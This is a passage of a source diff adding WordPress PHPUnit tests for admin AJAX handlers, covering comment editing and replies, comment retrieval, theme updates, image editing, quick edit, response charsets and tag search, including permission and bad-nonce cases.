+		$this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->edit_comment['id'] );
+		$this->assertEquals( 'edit-comment_' . $comment->comment_ID, (string) $xml->response['action'] );
+
+		// Check the payload
+		$this->assertNotEmpty( (string) $xml->response[0]->edit_comment[0]->response_data );
+
+		// And supplemental is empty
+		$this->assertEmpty( (string) $xml->response[0]->edit_comment[0]->supplemental );
+	}
+
+	/**
+	 * Get comments as a non-privileged user (subscriber)
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_as_subscriber() {
+
+		// Become an administrator
+		$this->_setRole( 'subscriber' );
+
+		// Get a comment
+		$comments = get_comments( array(
+			'post_id' => $this->_comment_post->ID
+		) );
+		$comment = array_pop( $comments );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['comment_ID']                  = $comment->comment_ID;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'edit-comment' );
+	}
+
+	/**
+	 * Get comments with a bad nonce
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_bad_nonce() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Get a comment
+		$comments = get_comments( array(
+			'post_id' => $this->_comment_post->ID
+		) );
+		$comment = array_pop( $comments );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( uniqid() );
+		$_POST['comment_ID']                  = $comment->comment_ID;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'get-comments' );
+	}
+
+	/**
+	 * Get comments for an invalid post
+	 * This should return valid XML
+	 * @return void
+	 */
+	public function test_invalid_comment() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['comment_ID']                  = 123456789;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'edit-comment' );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/GetComments.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/GetComments.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/GetComments.php	(revision 56912)
@@ -0,0 +1,154 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_GetComments extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * A post with at least one comment
+	 * @var mixed
+	 */
+	protected static $comment_post = null;
+
+	/**
+	 * A post with no comments
+	 * @var mixed
+	 */
+	protected static $no_comment_post = null;
+
+	protected static $comment_ids = array();
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$comment_post = $factory->post->create_and_get();
+		self::$comment_ids = $factory->comment->create_post_comments( self::$comment_post->ID, 5 );
+		self::$no_comment_post = $factory->post->create_and_get();
+	}
+
+	/**
+	 * Get comments as a privilged user (administrator)
+	 * Expects test to pass
+	 * @return void
+	 */
+	public function test_as_admin() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+		$_POST['action']      = 'get-comments';
+		$_POST['p']           = self::$comment_post->ID;
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'get-comments' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response
+		$xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+		// Check the meta data
+		$this->assertEquals( 1, (string) $xml->response[0]->comments['position'] );
+		$this->assertEquals( 0, (string) $xml->response[0]->comments['id'] );
+		$this->assertEquals( 'get-comments_0', (string) $xml->response['action'] );
+
+		// Check the payload
+		$this->assertNotEmpty( (string) $xml->response[0]->comments[0]->response_data );
+
+		// And supplemental is empty
+		$this->assertEmpty( (string) $xml->response[0]->comments[0]->supplemental );
+	}
+
+	/**
+	 * Get comments as a non-privileged user (subscriber)
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_as_subscriber() {
+
+		// Become a subscriber
+		$this->_setRole( 'subscriber' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+		$_POST['action']      = 'get-comments';
+		$_POST['p']           = self::$comment_post->ID;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'get-comments' );
+	}
+
+	/**
+	 * Get comments with a bad nonce
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_bad_nonce() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce'] = wp_create_nonce( uniqid() );
+		$_POST['action']      = 'get-comments';
+		$_POST['p']           = self::$comment_post->ID;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'get-comments' );
+	}
+
+	/**
+	 * Get comments for an invalid post
+	 * Bad post IDs are set to 0, this should return valid XML
+	 * @return void
+	 */
+	public function test_invalid_post() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+		$_POST['action']      = 'get-comments';
+		$_POST['p']           = 'b0rk';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'get-comments' );
+	}
+
+	/**
+	 * Get comments for an invalid post
+	 * Bad post IDs are set to 0, this should return valid XML
+	 * @return void
+	 */
+	public function test_post_with_no_comments() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+		$_POST['action']      = 'get-comments';
+		$_POST['p']           = self::$no_comment_post->ID;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '1' );
+		$this->_handleAjax( 'get-comments' );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/ManageThemes.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/ManageThemes.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/ManageThemes.php	(revision 56912)
@@ -0,0 +1,171 @@
+<?php
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing Ajax handler for instlaling, updating, and deleting themes.
+ *
+ * @group ajax
+ */
+class Tests_Ajax_Manage_Themes extends WP_Ajax_UnitTestCase {
+	private $orig_theme_dir;
+	private $theme_root;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->theme_root     = DIR_TESTDATA . '/themedir1';
+		$this->orig_theme_dir = $GLOBALS['wp_theme_directories'];
+
+		// /themes is necessary as theme.php functions assume /themes is the root if there is only one root.
+		$GLOBALS['wp_theme_directories'] = array( WP_CONTENT_DIR . '/themes', $this->theme_root );
+
+		add_filter( 'theme_root',      array( $this, 'filter_theme_root' ) );
+		add_filter( 'stylesheet_root', array( $this, 'filter_theme_root' ) );
+		add_filter( 'template_root',   array( $this, 'filter_theme_root' ) );
+
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+	}
+
+	function tearDown() {
+		$GLOBALS['wp_theme_directories'] = $this->orig_theme_dir;
+		remove_filter( 'theme_root',      array( $this, 'filter_theme_root' ) );
+		remove_filter( 'stylesheet_root', array( $this, 'filter_theme_root' ) );
+		remove_filter( 'template_root',   array( $this, 'filter_theme_root' ) );
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+
+		parent::tearDown();
+	}
+
+	/**
+	 * Replace the normal theme root dir with our pre-made test dir.
+	 */
+	public function filter_theme_root() {
+		return $this->theme_root;
+	}
+
+	public function test_missing_slug() {
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+
+		// Make the request.
+		try {
+			$this->_handleAjax( 'update-theme' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = array(
+			'success' => false,
+			'data'    => array(
+				'slug'         => '',
+				'errorCode'    => 'no_theme_specified',
+				'errorMessage' => 'No theme specified.',
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+
+	public function test_missing_capability() {
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+		$_POST['slug']        = 'foo';
+
+		// Make the request.
+		try {
+			$this->_handleAjax( 'update-theme' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = array(
+			'success' => false,
+			'data'    => array(
+				'update'       => 'theme',
+				'slug'         => 'foo',
+				'errorMessage' => 'Sorry, you are not allowed to update themes for this site.',
+				'oldVersion'   => '',
+				'newVersion'   => '',
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+
+	public function test_update_theme() {
+		$this->_setRole( 'administrator' );
+
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+		$_POST['slug']        = 'twentyten';
+
+		// Make the request.
+		try {
+
+			// Prevent wp_update_themes() from running.
+			wp_installing( true );
+			$this->_handleAjax( 'update-theme' );
+			wp_installing( false );
+
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$theme = wp_get_theme( 'twentyten' );
+		$expected = array(
+			'success' => false,
+			'data'    => array(
+				'update'       => 'theme',
+				'slug'         => 'twentyten',
+				'errorMessage' => 'The theme is at the latest version.',
+				'oldVersion'   => $theme->get( 'Version' ),
+				'newVersion'   => '',
+				'debug'        => array( 'The theme is at the latest version.' ),
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+
+	function test_uppercase_theme_slug() {
+		$this->_setRole( 'administrator' );
+
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+		$_POST['slug']        = 'camelCase';
+
+		// Make the request.
+		try {
+			$this->_handleAjax( 'update-theme' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = array(
+			'success' => false,
+			'data'    => array(
+				'update'       => 'theme',
+				'slug'         => 'camelCase',
+				'oldVersion'   => '1.0',
+				'newVersion'   => '',
+				'errorMessage' => 'The theme is at the latest version.',
+				'debug'        => array( 'The theme is at the latest version.' ),
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/MediaEdit.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/MediaEdit.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/MediaEdit.php	(revision 56912)
@@ -0,0 +1,100 @@
+<?php
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax media editing
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.5.0
+ * @group      ajax
+ */
+class Tests_Ajax_MediaEdit extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * Tear down the test fixture.
+	 */
+	public function tearDown() {
+		// Cleanup
+		$this->remove_added_uploads();
+		parent::tearDown();
+	}
+
+	/**
+	 * @ticket 22985
+	 */
+	public function testCropImageThumbnail() {
+		include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+
+		$filename = DIR_TESTDATA . '/images/canola.jpg';
+		$contents = file_get_contents($filename);
+
+		$upload = wp_upload_bits(basename($filename), null, $contents);
+		$id = $this->_make_attachment($upload);
+
+		$_REQUEST['action'] = 'image-editor';
+		$_REQUEST['context'] = 'edit-attachment';
+		$_REQUEST['postid'] = $id;
+		$_REQUEST['target'] = 'thumbnail';
+		$_REQUEST['do'] = 'save';
+		$_REQUEST['history'] = '[{"c":{"x":5,"y":8,"w":289,"h":322}}]';
+
+		$media_meta = wp_get_attachment_metadata($id);
+		$this->assertArrayHasKey('sizes', $media_meta, 'attachment should have size data');
+		$this->assertArrayHasKey('medium', $media_meta['sizes'], 'attachment should have data for medium size');
+		$ret = wp_save_image($id);
+
+		$media_meta = wp_get_attachment_metadata($id);
+		$this->assertArrayHasKey('sizes', $media_meta, 'cropped attachment should have size data');
+		$this->assertArrayHasKey('medium', $media_meta['sizes'], 'cropped attachment should have data for medium size');
+	}
+
+	/**
+	 * @ticket 32171
+	 */
+	public function testImageEditOverwriteConstant() {
+		define( 'IMAGE_EDIT_OVERWRITE', true );
+
+		include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+
+		$filename = DIR_TESTDATA . '/images/canola.jpg';
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$id = $this->_make_attachment( $upload );
+
+		$_REQUEST['action'] = 'image-editor';
+		$_REQUEST['context'] = 'edit-attachment';
+		$_REQUEST['postid'] = $id;
+		$_REQUEST['target'] = 'all';
+		$_REQUEST['do'] = 'save';
+		$_REQUEST['history'] = '[{"c":{"x":5,"y":8,"w":289,"h":322}}]';
+
+		$ret = wp_save_image( $id );
+
+		$media_meta = wp_get_attachment_metadata( $id );
+		$sizes1 = $media_meta['sizes'];
+
+		$_REQUEST['history'] = '[{"c":{"x":5,"y":8,"w":189,"h":322}}]';
+
+		$ret = wp_save_image( $id );
+
+		$media_meta = wp_get_attachment_metadata( $id );
+		$sizes2 = $media_meta['sizes'];
+
+		$file_path = dirname( get_attached_file( $id ) );
+
+		foreach ( $sizes1 as $key => $size ) {
+			if ( $sizes2[ $key ]['file'] !== $size['file'] ) {
+				$files_that_shouldnt_exist[] = $file_path . '/' . $size['file'];
+			}
+		}
+
+		foreach ( $files_that_shouldnt_exist as $file ) {
+			$this->assertFileNotExists( $file, 'IMAGE_EDIT_OVERWRITE is leaving garbage image files behind.' );
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/QuickEdit.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/QuickEdit.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/QuickEdit.php	(revision 56912)
@@ -0,0 +1,72 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing Quick Edit AJAX functionality.
+ *
+ * @group ajax
+ */
+class Tests_Ajax_QuickEdit extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * @ticket 26948
+	 */
+	public function test_dont_process_terms_if_taxonomy_does_not_allow_show_on_quick_edit() {
+		register_taxonomy( 'wptests_tax_1', 'post', array(
+			'show_in_quick_edit' => false,
+			'hierarchical' => true,
+		) );
+		register_taxonomy( 'wptests_tax_2', 'post', array(
+			'show_in_quick_edit' => true,
+			'hierarchical' => true,
+		) );
+
+		$t1 = self::factory()->term->create( array(
+			'taxonomy' => 'wptests_tax_1',
+		) );
+		$t2 = self::factory()->term->create( array(
+			'taxonomy' => 'wptests_tax_2',
+		) );
+
+		// Become an administrator.
+		$this->_setRole( 'administrator' );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_author' => get_current_user_id(),
+		) );
+
+		// Set up a request.
+		$_POST['_inline_edit'] = wp_create_nonce( 'inlineeditnonce' );
+		$_POST['post_ID'] = $post->ID;
+		$_POST['post_type'] = $post->post_type;
+		$_POST['content'] = $post->post_content;
+		$_POST['excerpt'] = $post->post_excerpt;
+		$_POST['_status'] = $post->post_status;
+		$_POST['post_status'] = $post->post_status;
+		$_POST['screen'] = 'post';
+		$_POST['post_view'] = 'excerpt';
+		$_POST['tax_input'] = array(
+			'wptests_tax_1' => array( $t1 ),
+			'wptests_tax_2' => array( $t2 ),
+		);
+
+		// Make the request.
+		try {
+			$this->_handleAjax( 'inline-save' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// wptests_tax_1 terms should have been refused.
+		$post_terms_1 = wp_get_object_terms( $post->ID, 'wptests_tax_1' );
+		$this->assertEmpty( $post_terms_1 );
+
+		// wptests_tax_2 terms should have been added successfully.
+		$post_terms_2 = wp_get_object_terms( $post->ID, 'wptests_tax_2' );
+		$this->assertEqualSets( array( $t2 ), wp_list_pluck( $post_terms_2, 'term_id' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/ReplytoComment.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/ReplytoComment.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/ReplytoComment.php	(revision 56912)
@@ -0,0 +1,255 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_ReplytoComment extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * A post with at least one comment
+	 * @var mixed
+	 */
+	protected static $comment_post = null;
+
+	/**
+	 * Draft post
+	 * @var mixed
+	 */
+	protected static $draft_post = null;
+
+	protected static $comment_ids = array();
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$comment_post = $factory->post->create_and_get();
+		self::$comment_ids = $factory->comment->create_post_comments( self::$comment_post->ID, 5 );
+		self::$draft_post = $factory->post->create_and_get( array( 'post_status' => 'draft' ) );
+	}
+
+	public function tearDown() {
+		remove_filter( 'query', array( $this, '_block_comments' ) );
+		parent::tearDown();
+	}
+
+	/**
+	 * Reply as a privilged user (administrator)
+	 * Expects test to pass
+	 * @return void
+	 */
+	public function test_as_admin() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Get a comment
+		$comments = get_comments( array(
+		    'post_id' => self::$comment_post->ID
+		) );
+		$comment = array_pop( $comments );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['comment_ID']                  = $comment->comment_ID;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+		$_POST['comment_post_ID']             = self::$comment_post->ID;
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'replyto-comment' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response
+		$xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+		// Check the meta data
+		$this->assertEquals( -1, (string) $xml->response[0]->comment['position'] );
+		$this->assertGreaterThan( 0, (int) $xml->response[0]->comment['id'] );
+		$this->assertNotEmpty( (string) $xml->response['action'] );
+
+		// Check the payload
+		$this->assertNotEmpty( (string) $xml->response[0]->comment[0]->response_data );
+
+		// And supplemental is empty
+		$this->assertEmpty( (string) $xml->response[0]->comment[0]->supplemental );
+	}
+
+	/**
+	 * Reply as a non-privileged user (subscriber)
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_as_subscriber() {
+
+		// Become an administrator
+		$this->_setRole( 'subscriber' );
+
+		// Get a comment
+		$comments = get_comments( array(
+		'post_id' => self::$comment_post->ID
+		) );
+		$comment = array_pop( $comments );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['comment_ID']                  = $comment->comment_ID;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+		$_POST['comment_post_ID']             = self::$comment_post->ID;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'replyto-comment' );
+	}
+
+	/**
+	 * Reply using a bad nonce
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_bad_nonce() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Get a comment
+		$comments = get_comments( array(
+		    'post_id' => self::$comment_post->ID
+		) );
+		$comment = array_pop( $comments );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( uniqid() );
+		$_POST['comment_ID']                  = $comment->comment_ID;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+		$_POST['comment_post_ID']             = self::$comment_post->ID;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'replyto-comment' );
+	}
+
+	/**
+	 * Reply to an invalid post
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_invalid_post() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+		$_POST['comment_post_ID']             = 123456789;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'replyto-comment' );
+	}
+
+	/**
+	 * Reply to a draft post
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_with_draft_post() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+		$_POST['comment_post_ID']             = self::$draft_post->ID;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', 'ERROR: you are replying to a comment on a draft post.' );
+		$this->_handleAjax( 'replyto-comment' );
+	}
+
+	/**
+	 * Reply to a post with a simulated database failure
+	 * Expects test to fail
+	 * @global $wpdb
+	 * @return void
+	 */
+	public function test_blocked_comment() {
+		global $wpdb;
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+		$_POST['comment_post_ID']             = self::$comment_post->ID;
+
+		// Block comments from being saved, simulate a DB error
+		add_filter( 'query', array( $this, '_block_comments' ) );
+
+		// Make the request
+		try {
+			$wpdb->suppress_errors( true );
+			$this->_handleAjax( 'replyto-comment' );
+			$wpdb->suppress_errors( false );
+			$this->fail();
+		} catch ( WPAjaxDieStopException $e )  {
+			$wpdb->suppress_errors( false );
+			$this->assertContains( '1', $e->getMessage() );
+		}
+	}
+
+	/**
+	 * Block comments from being saved
+	 * @param string $sql
+	 * @return string
+	 */
+	public function _block_comments( $sql ) {
+		global $wpdb;
+		if ( false !== strpos( $sql, $wpdb->comments ) && 0 === stripos( trim ( $sql ), 'INSERT INTO') ) {
+			return '';
+		}
+		return $sql;
+	}
+
+	/**
+	 * Raises WP_Error after Posted a new pre comment
+	 * @ticket 39730
+	 * @return void
+	 */
+	public function test_pre_comments_approved() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+		$_POST['comment_post_ID']             = self::$comment_post->ID;
+
+		// Simulate filter check error
+		add_filter( 'pre_comment_approved', array( $this, '_pre_comment_approved_filter' ), 10, 2 );
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', 'pre_comment_approved filter fails for new comment' );
+		$this->_handleAjax( 'replyto-comment' );
+	}
+
+	/**
+	 *  Block comments from being saved 'pre_comment_approved', by returning WP_Error
+	 */
+	function _pre_comment_approved_filter( $approved, $commentdata ) {
+		return new WP_Error( 'comment_wrong', 'pre_comment_approved filter fails for new comment', 403 );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/Response.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/Response.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/Response.php	(revision 56912)
@@ -0,0 +1,102 @@
+<?php
+/**
+ * Testing ajax response class
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.5.0
+ * @group      ajax
+ */
+class Tests_Ajax_Response extends WP_UnitTestCase {
+
+	/**
+	 * Saved error reporting level
+	 * @var int
+	 */
+	protected $_error_level = 0;
+
+	/**
+	 * Set up the test fixture.
+	 * Override wp_die(), pretend to be ajax, and suppres E_WARNINGs
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		add_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+		add_filter( 'wp_doing_ajax', '__return_true' );
+
+		// Suppress warnings from "Cannot modify header information - headers already sent by"
+		$this->_error_level = error_reporting();
+		error_reporting( $this->_error_level & ~E_WARNING );
+	}
+
+	/**
+	 * Tear down the test fixture.
+	 * Remove the wp_die() override, restore error reporting
+	 */
+	public function tearDown() {
+		remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+		error_reporting( $this->_error_level );
+		parent::tearDown();
+	}
+
+	/**
+	 * Return our callback handler
+	 * @return callback
+	 */
+	public function getDieHandler() {
+		return array( $this, 'dieHandler' );
+	}
+
+	/**
+	 * Handler for wp_die()
+	 * Don't die, just continue on.
+	 * @param string $message
+	 */
+	public function dieHandler( $message ) {
+	}
+
+	/**
+	 * Test that charset in header matches blog_charset
+	 * Note:  headers_list doesn't work properly in CLI mode, fall back on
+	 * xdebug_get_headers if it's available
+	 * Needs a separate process to get around the headers/output from the
+	 * bootstrapper
+	 * @ticket 19448
+	 * @runInSeparateProcess
+	 * @preserveGlobalState disabled
+	 */
+	public function test_response_charset_in_header() {
+
+		if ( !function_exists( 'xdebug_get_headers' ) ) {
+			$this->markTestSkipped( 'xdebug is required for this test' );
+		}
+
+		// Generate an ajax response
+		ob_start();
+		$ajax_response = new WP_Ajax_Response();
+		$ajax_response->send();
+
+		// Check the header
+		$headers = xdebug_get_headers();
+		ob_end_clean();
+
+		$this->assertTrue( in_array( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), $headers ) );
+	}
+
+	/**
+	 * Test that charset in the xml tag matches blog_charset
+	 * @ticket 19448
+	 */
+	public function test_response_charset_in_xml() {
+
+		// Generate an ajax response
+		ob_start();
+		$ajax_response = new WP_Ajax_Response();
+		$ajax_response->send();
+
+		// Check the XML tag
+		$contents = ob_get_clean();
+		$this->assertRegExp( '/<\?xml\s+version=\'1.0\'\s+encoding=\'' . preg_quote( get_option( 'blog_charset' ) ) . '\'\s+standalone=\'yes\'\?>/', $contents );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/TagSearch.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/TagSearch.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/TagSearch.php	(revision 56912)
@@ -0,0 +1,149 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax tag search functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_TagSearch extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * List of terms to insert on setup
+	 * @var array
+	 */
+	private static $terms = array(
+		'chattels', 'depo', 'energumen', 'figuriste', 'habergeon', 'impropriation'
+	);
+
+	private static $term_ids = array();
+
+	public static function wpSetUpBeforeClass() {
+		foreach ( self::$terms as $t ) {
+			self::$term_ids[] = wp_insert_term( $t, 'post_tag' );
+		}
+	}
+
+	/**
+	 * Test as an admin
+	 */
+	public function test_post_tag() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['tax'] = 'post_tag';
+		$_GET['q']   = 'chat';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'ajax-tag-search' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Ensure we found the right match
+		$this->assertEquals( $this->_last_response, 'chattels' );
+	}
+
+	/**
+	 * Test with no results
+	 */
+	public function test_no_results() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['tax'] = 'post_tag';
+		$_GET['q']   = md5(uniqid());
+
+		// Make the request
+		// No output, so we get a stop exception
+		$this->setExpectedException( 'WPAjaxDieStopException', '' );
+		$this->_handleAjax( 'ajax-tag-search' );
+	}
+
+	/**
+	 * Test with commas
+	 */
+	public function test_with_comma() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['tax'] = 'post_tag';
+		$_GET['q']   = 'some,nonsense, terms,chat'; // Only the last term in the list is searched
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'ajax-tag-search' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Ensure we found the right match
+		$this->assertEquals( $this->_last_response, 'chattels' );
+	}
+
+	/**
